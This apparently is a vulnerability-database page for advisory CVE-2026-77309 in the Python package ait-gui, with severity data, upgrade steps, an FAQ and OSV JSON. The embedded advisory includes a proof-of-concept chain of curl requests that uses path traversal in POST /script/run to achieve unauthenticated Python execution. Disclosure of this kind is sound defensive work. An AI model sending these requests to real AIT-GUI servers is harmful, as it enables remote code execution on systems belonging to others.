Vulnerabilities in pkg:pypi/ait-gui

PACKAGE
Advisory Identifier: GHSA-jrjx-9jjw-747m
Advisory Summary

CVE-2026-77309 is a HIGH (CVSS 8.8) ait-gui route chain allows unauthenticated vulnerability (CWE-459: Incomplete Cleanup) affecting Ait gui libraries in the PyPI ecosystem. The issue involves ait-gui route chain allows unauthenticated python execution in server process. Remediation is available by upgrading affected packages to version 2.5.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/ait-gui

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/ait-gui. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-jrjx-9jjw-747m CVE-2026-77309 HIGH AIT-GUI route chain allows unauthenticated Python execution in server process

CVE-2026-77309 at a Glance

CVE Identifier CVE-2026-77309
GHSA Identifier GHSA-jrjx-9jjw-747m
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-459: Incomplete Cleanup
Affected Product Ait gui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-77309

To remediate this vulnerability, upgrade all affected Ait gui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ait-gui fixed: 2.5.1
pip install ait-gui>=2.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ait-gui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77309, inspect your installed packages using pip:

pip show ait-gui

Analyze the terminal output to locate any version of Ait gui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.1), your application is affected.

Note: The pip show ait-gui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-459: Incomplete Cleanup, where the product does not properly "clean up" and remove temporary or supporting resources after they have been used. In Ait gui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions. ### Patches * 2.5.1 ### Impact This vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges. ## Details _Chain:_ 1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory. * If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file. 2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`. * AIT-GUI reads that file and runs it as Python. _Relevant code:_ - `ait/gui/__init__.py:930,935,942-944`: `/tlm/query` writes `fields` to `fields_in.txt`. - `ait/gui/__init__.py:952-958,978`: the no-PCAP error path aborts before cleanup. - `ait/gui/__init__.py:1130-1136`: `/script/run` joins `scriptPath` with `ScriptRoot` and only checks that the path exists. - `ait/gui/__init__.py:1186-1191`: the selected file is read and executed as Python. - `ait/gui/__init__.py:1105-1108`: nearby `/scripts/load/<name>` has a path containment check, but `/script/run` does not. ### Fix Information Restricted script execution paths and avoided using static temp files. ## PoC 1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory. * If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file. ``` # Remove file to ensure nothing exists AIT-GUI % rm <path>/fields_in.txt # With server started, send POST request to /tlm/query endpoint AIT-GUI % curl -X POST http://localhost:8080/tlm/query \ -d "dataDir=<path>" \ -d "timeField=time" \ -d "packet=CCSDS_HEADER" \ -d "fields=field1,field2,field3" \ -d "startTime=2026-07-01T00:00:00" \ -d "endTime=2026-07-10T00:00:00" \ -o query_out.csv % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 925 100 782 100 143 34798 6363 --:--:-- --:--:-- --:--:-- 42045 # AIT-server log verify that PCAP file cannot be found: 2026-07-10T11:46:37.873 | ERROR | Unable to locate PCAP files for query given data directory <path> # Verify file is created and not cleaned up AIT-GUI % cat <path>/fields_in.txt field1 field2 field3 ``` 2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`. * AIT-GUI reads that file and runs it as Python. ``` # Generate session cookie curl -c cookies.txt -v http://localhost:8080/ -o /dev/null # Execute example script which currently exists in configured scripts.directory in config.yaml (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script script: directory: ./scripts (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts example_script.py # Create exploit script "exploit.py" outside of configured location (venv) scripts % ls ../exploit.py ../exploit.py # Perform request to example_script.py. This script prints 'correct' (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=example_script.py" -b cookies.txt # Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited' (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt # Verify in server logs that correct and exploit print 2026-07-10T13:46:41.441 | INFO | Starting broker... correct ... exploited ``` ## Additional Notes - Python code execution in the AIT-GUI server process. - The demo is localhost only (`127.0.0.1`) and proves the issue against AIT-GUI `2.5.0`. - The tested AIT-GUI source binds the web server to `0.0.0.0`, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position. - No login credentials or privileged account were required in the tested flow. The PoC only used the normal `sid` cookie created by `GET /`. In my local demo, the payload ran as my normal user (`uid=1000`), not root. - [ait_gui_tlm_query_script_run_rce_live_server.py](https://github.com/user-attachments/files/29583858/ait_gui_tlm_query_script_run_rce_live_server.py) - [ait-gui-tlm-query-script-run-rce.patch](https://github.com/user-attachments/files/29583552/ait-gui-tlm-query-script-run-rce.patch) - https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a

CVE-2026-77309 Affected Ait gui Versions

1 component(s)
Fixed Versions:
2.5.1
Product / Package Ecosystem Affected Versions Fixed Version
ait-gui
PyPI
≥ 1.0.0
< 2.5.1
2.5.1

References

Frequently Asked Questions

What is CVE-2026-77309?
CVE-2026-77309 is a security vulnerability in Ait gui involving AIT-GUI route chain allows unauthenticated Python execution in server process under CWE-459: Incomplete Cleanup.
Which Ait gui versions are affected?
Affected versions include releases prior to 2.5.1 across affected packages: ait-gui.
What version fixes CVE-2026-77309?
Upgrading to 2.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ait-gui affected?
Yes, ait-gui is affected in releases prior to 2.5.1. Upgrade your dependency to 2.5.1 or later.
What is the CVSS score of CVE-2026-77309?
CVE-2026-77309 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-77309?
CVE-2026-77309 is classified under CWE-459: Incomplete Cleanup (The product does not properly "clean up" and remove temporary or supporting resources after they have been used.).
How can I check PyPI dependencies for CVE-2026-77309?
Run the dependency tree command: 'pip show ait-gui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jrjx-9jjw-747m",
  "modified" : "2026-11-20T23:36:41Z",
  "published" : "2026-11-20T23:36:41Z",
  "aliases" : [ "CVE-2026-77309" ],
  "summary" : "AIT-GUI route chain allows unauthenticated Python execution in server process",
  "details" : "## Summary\nA security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.\n\n### Patches\n* 2.5.1\n\n### Impact\nThis vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.\n\n## Details\n_Chain:_\n1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.\n   *  If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.\n2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.\n   * AIT-GUI reads that file and runs it as Python.\n\n_Relevant code:_\n- `ait/gui/__init__.py:930,935,942-944`: `/tlm/query` writes `fields` to `fields_in.txt`.\n- `ait/gui/__init__.py:952-958,978`: the no-PCAP error path aborts before cleanup.\n- `ait/gui/__init__.py:1130-1136`: `/script/run` joins `scriptPath` with `ScriptRoot` and only checks that the path exists.\n- `ait/gui/__init__.py:1186-1191`: the selected file is read and executed as Python.\n- `ait/gui/__init__.py:1105-1108`: nearby `/scripts/load/<name>` has a path containment check, but `/script/run` does not.\n\n### Fix Information\nRestricted script execution paths and avoided using static temp files.\n\n## PoC\n1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.\n   *  If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.\n```\n# Remove file to ensure nothing exists\nAIT-GUI % rm <path>/fields_in.txt\n\n# With server started, send POST request to /tlm/query endpoint\nAIT-GUI % curl -X POST http://localhost:8080/tlm/query \\  -d \"dataDir=<path>\" \\     \n  -d \"timeField=time\" \\\n  -d \"packet=CCSDS_HEADER\" \\\n  -d \"fields=field1,field2,field3\" \\\n  -d \"startTime=2026-07-01T00:00:00\" \\\n  -d \"endTime=2026-07-10T00:00:00\" \\\n  -o query_out.csv\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100   925  100   782  100   143  34798   6363 --:--:-- --:--:-- --:--:-- 42045\n\n# AIT-server log verify that PCAP file cannot be found:\n2026-07-10T11:46:37.873 | ERROR    | Unable to locate PCAP files for query given data directory <path>\n\n# Verify file is created and not cleaned up\nAIT-GUI % cat <path>/fields_in.txt\nfield1\nfield2\nfield3\n```\n2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.\n   * AIT-GUI reads that file and runs it as Python.\n\n```\n# Generate session cookie\ncurl -c cookies.txt -v http://localhost:8080/ -o /dev/null\n\n# Execute example script which currently exists in configured scripts.directory in config.yaml\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script\n    script:\n        directory: ./scripts\n\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts\nexample_script.py\n\n# Create exploit script \"exploit.py\" outside of configured location\n(venv) scripts % ls ../exploit.py \n../exploit.py\n\n# Perform request to example_script.py. This script prints 'correct'\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d \"scriptPath=example_script.py\" -b cookies.txt\n\n# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d \"scriptPath=../exploit.py\" -b cookies.txt  \n\n# Verify in server logs that correct and exploit print\n2026-07-10T13:46:41.441 | INFO     | Starting broker...\ncorrect\n...\nexploited\n\n```\n\n## Additional Notes\n\n- Python code execution in the AIT-GUI server process.\n- The demo is localhost only (`127.0.0.1`) and proves the issue against AIT-GUI `2.5.0`. \n- The tested AIT-GUI source binds the web server to `0.0.0.0`, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position.\n- No login credentials or privileged account were required in the tested flow. The PoC only used the normal `sid` cookie created by `GET /`. In my local demo, the payload ran as my normal user (`uid=1000`), not root.\n- [ait_gui_tlm_query_script_run_rce_live_server.py](https://github.com/user-attachments/files/29583858/ait_gui_tlm_query_script_run_rce_live_server.py)\n- [ait-gui-tlm-query-script-run-rce.patch](https://github.com/user-attachments/files/29583552/ait-gui-tlm-query-script-run-rce.patch)\n- https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ait-gui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "2.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-jrjx-9jjw-747m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77309"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NASA-AMMOS/AIT-GUI/commit/beb8fc0813eded89f985d3eb9a73535dd327726d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NASA-AMMOS/AIT-GUI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NASA-AMMOS/AIT-GUI/blob/2.5.1/CHANGELOG.md"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NASA-AMMOS/AIT-GUI/releases/tag/2.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-459" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T23:36:41Z",
    "nvd_published_at" : "2026-11-20T18:18:55Z"
  }
}